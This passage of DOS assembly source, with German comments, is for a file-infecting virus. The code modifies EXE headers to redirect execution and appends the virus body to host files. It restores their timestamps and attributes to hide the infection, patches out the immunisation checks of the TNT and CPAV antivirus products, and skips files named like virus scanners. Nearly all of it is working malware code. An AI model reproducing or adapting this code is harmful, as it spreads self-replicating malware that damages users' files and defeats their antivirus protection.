;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;==============================================================================
|
||||
; EXE-Datei IST TAUGLICH! Neues <CS> und neuen <IP> vorbereiten, altes <CS> und
|
||||
; <IP> (AUS DEM EXE-Kopf) f�r den R�cksprung vorbereiten:
|
||||
;==============================================================================
|
||||
;------------------------------------------------------------------------------
|
||||
; Dateil„nge in Paras wandeln:
|
||||
;------------------------------------------------------------------------------
|
||||
SET_EXE: MOV AX,SI ;LO-WORD der L„nge in <AX> sichern
|
||||
MOV DX,DI ;HI-WORD der L„nge in <DX> sichern
|
||||
|
||||
MOV CL,4 ;LOW-WORD der Dateil„nge...
|
||||
SHR AX,CL ;...in PARAs wandeln
|
||||
MOV CL,12 ;Unteren 4 BITs des HI-WORD der Datei-
|
||||
SHL DX,CL ;...l„nge in oberen 4 BITs verschieben
|
||||
OR AX,DX ;Beides verkn�pfen: Dateil„nge in PARAs
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; EXE-File auf VOLLE Paragraphenl„nge testen, falls noch BYTEs zum vollen Para-
|
||||
; graphen ben”tigt werden, wird dies in <DI> gemerkt und das neue <CS> um einen
|
||||
; Para erh”ht (Virus beginnt immer am Paragraphenstart!!!):
|
||||
;------------------------------------------------------------------------------
|
||||
AND SI,01111B ;Alles bis auf die unteren 4 BITs ausmaskieren
|
||||
MOV DI,10000B ;Wieviel bleibt zu einem PARA �brig...
|
||||
SUB DI,SI ;...in <DI> merken
|
||||
AND DI,01111B ;Alles bis auf die unteren 4 BITs ausmaskieren
|
||||
JZ NEU_KOPF ;PARA ist schon voll --> NEU_KOPF
|
||||
INC AX ;Neues <CS> um einen PARA erh”hen
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; EXE-Kopfl„nge abziehen, und somit neues <CS> in <AX>:
|
||||
;------------------------------------------------------------------------------
|
||||
NEU_KOPF: SUB AX,WORD PTR CS:[OFFSET PUFFER+8-FAKTOR] ;Dateil„nge MINUS Kopf
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; R�cksprung vorbereiten, Differenz zwischen neuem <CS> und altem <CS>:
|
||||
;------------------------------------------------------------------------------
|
||||
MOV CX,AX ;Neues <CS> in <CX> sichern
|
||||
MOV DX,WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR] ;Altes <CS> in <DX>
|
||||
SUB CX,DX ;Unterschied zw. Neu und Alt
|
||||
MOV WORD PTR CS:[OFFSET EXE_SEG+1-FAKTOR],CX ;R�cksprung vorbereiten (SEG)
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; Neuen EXE-Start setzen, alten <IP> in den R�cksprungpuffer schieben:
|
||||
;------------------------------------------------------------------------------
|
||||
MOV CX,WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR] ;Altes <IP> in <CX>
|
||||
MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],CX ;R�cksprung vorbereiten (OFS)
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; Neues <CS> im EXE-Kopf eintragen, neuen <IP> im EXE-Kopf auf null setzten:
|
||||
;------------------------------------------------------------------------------
|
||||
MOV WORD PTR CS:[OFFSET PUFFER+16H-FAKTOR],AX ;Neues <CS>
|
||||
MOV WORD PTR CS:[OFFSET PUFFER+14H-FAKTOR],0 ;Neuer <IP>
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; EXE-Dateil„nge anpassen (Anzahl BYTEs in der letzten Seite um {ANZBYTES} er-
|
||||
; h”hen und beim �berlauf �ber 512 BYTEs das 512-BYTE-pro-Seite Word um eins
|
||||
; erh”hen) :
|
||||
;------------------------------------------------------------------------------
|
||||
MOV AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;Anzahl BYTEs der letzten Seite
|
||||
ADD AX,DI ;BYTEs des letzten PARAs dazu...
|
||||
ADD AX,ANZBYTES ;...Virusl„nge dazu
|
||||
MOV DX,AX ;Diesen Wert in <DX> merken!
|
||||
|
||||
AND AX,0111111111B ;Unteren 9 BITs=512 NICHT ausmaskieren
|
||||
JNZ EXE_ZERO ;Sonderfall? NEIN --> EXE_ZERO
|
||||
MOV AX,512 ;Letzte Seite=Voll
|
||||
SUB DX,512 ;Anzahl Seiten weniger 1
|
||||
|
||||
EXE_ZERO: MOV WORD PTR CS:[OFFSET PUFFER+2-FAKTOR],AX ;BYTEs der letzten Seite
|
||||
MOV CL,9 ;Den Rest in Seiten zu jeweils...
|
||||
SHR DX,CL ;...512 BYTEs umrechnen (shiften)
|
||||
|
||||
ADD WORD PTR CS:[OFFSET PUFFER+4-FAKTOR],DX ;Auf die urspr�ngliche L„nge drauf!
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; Stack-SEG <SS> um {ANZBYTES/10H) Paragraphen nach hinten versetzen:
|
||||
;------------------------------------------------------------------------------
|
||||
ADD WORD PTR CS:[OFFSET PUFFER+0EH-FAKTOR],(ANZBYTES/10H) ;<SS> nach hinten
|
||||
|
||||
;==============================================================================
|
||||
;EXE-Kopf erfolgreich modifiziert! Diesen Kopf jetzt in die Datei schreiben:
|
||||
;==============================================================================
|
||||
MOV AH,40H ;Datei beschreiben
|
||||
MOV CX,18H ;Anzahl zu schreibender Bytes
|
||||
MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers
|
||||
CALL GODOS ;Handle in <BX>
|
||||
JC MODIFY ;FEHLER --> SCHLIESSEN
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ TNT und CPAV �berlisten: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
INFECT: CMP BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0 ;Immunisiert?
|
||||
JZ INF_CONT ;NEIN --> INF_CONT
|
||||
|
||||
MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen
|
||||
MOV CX,0FFFFH ;HI-WORD des FilePtr
|
||||
MOV DX,(-172H) ;LO-WORD des FilePtr
|
||||
CALL GODOS ;Handle in <BX>
|
||||
|
||||
MOV AH,3FH ;Datei lesen
|
||||
MOV CX,20H ;Anzahl zu lesender BYTES
|
||||
MOV DX,OFFSET VIR_END-FAKTOR ;OFS des Puffers, SEG in <DS>
|
||||
CALL GODOS ;Handle in <BX>
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
IMUN_TST: MOV SI,CX ;Anzahl zu lesender BYTEs in <SI>
|
||||
DEC SI ;NULL als Zahl interpretieren!
|
||||
CMP WORD PTR CS:[OFFSET VIR_END-FAKTOR+SI],09B4H ;Target gefunden?
|
||||
JZ BREAK_IT ;JA --> BREAK_IT
|
||||
LOOP IMUN_TST ;NEIN --> IMUN_TST
|
||||
JMP INF_CONT ;NIX...INF_CONT!
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
BREAK_IT: MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen
|
||||
MOV DX,172H ;LO-WORD des FilePtr
|
||||
SUB DX,SI ;Target-Position abziehen
|
||||
NEG DX ;Negieren (FilePtr r�ckw„rts!)
|
||||
MOV CX,0FFFFH ;HI-WORD des FilePtr
|
||||
CALL GODOS ;Handle in <BX>
|
||||
|
||||
MOV AH,40H ;Datei beschreiben
|
||||
MOV CX,2 ;Anzahl zu schreibender Bytes
|
||||
MOV DX,OFFSET ANTI_IMUN-FAKTOR ;OFS des Puffers
|
||||
CALL GODOS ;Handle in <BX>
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ FielPtr "SPACEN" (fr�her: F�ll-BYTEs schreiben): ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
INF_CONT: MOV AX,4202H ;Dateizeiger relativ zum Ende bewegen
|
||||
XOR CX,CX ;HI-WORD des FilePtr
|
||||
MOV DX,DI ;LO-WORD des FilePtr (F�ll-BYTEs...
|
||||
CALL GODOS ;... in <DI>), Handle in <BX>
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Generationsz„hler erh”hen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
INC WORD PTR CS:[OFFSET KOPIE-FAKTOR] ;LO-Z„hler erh”hen
|
||||
JNZ GO_COPY ;Kein �berlauf --> ENDE
|
||||
INC WORD PTR CS:[OFFSET KOPIE-FAKTOR+2] ;HI-Z„hler erh”hen
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ KOPIEREN: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
GO_COPY: MOV AH,40H ;Datei beschreiben
|
||||
MOV CX,ANZBYTES ;Anzahl zu schreibender Bytes
|
||||
XOR DX,DX ;OFS des Puffers
|
||||
CALL GODOS ;Handle in <BX>
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Altes DATUM und alte ZEIT NEU setzen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MODIFY: MOV AX,5701H ;Datum und Zeit der Datei restaurieren
|
||||
POP DX ;Altes Datum holen
|
||||
POP CX ;Alte Uhrzeit holen
|
||||
CALL GODOS ;Handle in <BX>
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Datei schlieáen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
CLOSE: MOV AH,3EH ;Datei schliessen
|
||||
CALL GODOS ;Hoffentlich Ok...
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Attribut der Datei restaurieren ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
BREAK: POP DS ;SEG des Dateinamens in <DS>...
|
||||
POP DX ;...OFS in <DX>
|
||||
POP CX ;Attribut in <CX>
|
||||
|
||||
MOV AX,4301H ;Attribut einer Datei setzen
|
||||
CALL GODOS ;SEG in <DS> und OFS in <DX> (s.o.)
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ INT 13H auf neuen (nach dem Virus) Vektor setzen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
REST_INT: POP DX ;OFS in <DX>
|
||||
POP DS ;SEG in <DS>
|
||||
MOV AX,2513H ;Vektor neu setzen
|
||||
CALL GODOS ;--> Dose direkt callen
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Kritikal Errorhandler wieder restaurieren: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
POP DX ;OFS in <DX>
|
||||
POP DS ;SEG in <DS>
|
||||
MOV AL,24H ;<AX>=24, Vektor neu setzen
|
||||
CALL GODOS ;--> Dose direkt callen
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ INT beenden... ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
JMP NEU21END ;INT Beenden --> NEU21END
|
||||
|
||||
NEU21 ENDP
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Nicht zu infizierende Dateien: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
SCAN DB "ASC" ;1: "SCAn"
|
||||
DB "ECL" ;2: "CLEan"
|
||||
DB "HVS" ;3: "VSHield"
|
||||
DB "RVI" ;4: "VIRus"
|
||||
DB "NWI" ;5: "WINdows"
|
||||
|
||||
ANZ_SCAN EQU 5 ;Anzahl eingegebener Viren
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º SEEK_BEG: Dateizeiger auf den Anfang der Datei setzen: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
SEEK_BEG PROC NEAR
|
||||
|
||||
MOV AX,4200H ;Dateizeiger bew., relativ zum Anfang
|
||||
XOR CX,CX ;HI-WORD des Offset
|
||||
XOR DX,DX ;LO-WORD des offset
|
||||
CALL GODOS ;Handle in <BX>
|
||||
|
||||
RET ; --> HOME
|
||||
|
||||
SEEK_BEG ENDP
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º GODOS: Direkter Aufruf von INT 21H º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
GODOS PROC NEAR ;DOS-INT direkt aufrufen!!!
|
||||
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[ALT21-FAKTOR]
|
||||
RET
|
||||
;--> Is 17 BYTEs kleiner als die
|
||||
GODOS ENDP ;Methode mit den Vektoren umbiegen..!
|
||||
|
||||
;==============================================================================
|
||||
COMEXE DB 0 ;COM oder EXE-File..?
|
||||
|
||||
ANTI_IMUN DB 0EBH,034H ;Nix-Merken-JMP f�r CPAV und TNT
|
||||
|
||||
KOPIE DD 1 ; ÚÄÄÄ Double-Word f�r die Anzahl der Generationen
|
||||
; ÀÄÄÄÄÄÄ¿
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³
|
||||
;º ÚÄÄÄÄÄÄ DOUBLE-WORD ÄÄÄÄÄÄÄ¿ º
|
||||
;º º Das Double-Word
|
||||
;º ÚÄ LO-WORD Ä¿ ÚÄ HI-WORD Ä¿ º steht x Bytes VOR
|
||||
;º º DEM ENDE des
|
||||
;º LO-BYTE HI-BYTE LO-BYTE HI-BITE º infizierten Programms
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
KENNUNG DW ID_WORD ;Kenn-WORD
|
||||
|
||||
PUFFER DB 3 DUP(90H) ;Puffer (EXE-Kopf, etc.), mit NOPs gef�llt (COM)
|
||||
|
||||
;==============================================================================
|
||||
VIR_END EQU $
|
||||
;
|
||||
; ÃÄÄ Ausgelagerter Puffer (20H BYTEs)
|
||||
;
|
||||
BUF_END EQU VIR_END+1FH
|
||||
;------------------------------------------------------------------------------
|
||||
ALT13 EQU BUF_END+1
|
||||
;
|
||||
; ÃÄÄ Alter Vektor von INT 13H
|
||||
;
|
||||
ALT13_END EQU ALT13+3
|
||||
;------------------------------------------------------------------------------
|
||||
AKTIV EQU ALT13_END+1
|
||||
;
|
||||
; ÃÄÄ Aktiv-Flag f�r den residenten Teil des Virus
|
||||
;
|
||||
AKTIV_END EQU AKTIV
|
||||
;------------------------------------------------------------------------------
|
||||
IMMUN EQU AKTIV+1 ;ÄÄÄ> IMMER DER LETZT EINTRAG! (s. Virus-Kopf)
|
||||
;
|
||||
; ÀÄÄ Ist die Zieldatei immunisiert worden von TNT oder CPAV ?
|
||||
;
|
||||
;==============================================================================
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
||||
Reference in New Issue
Block a user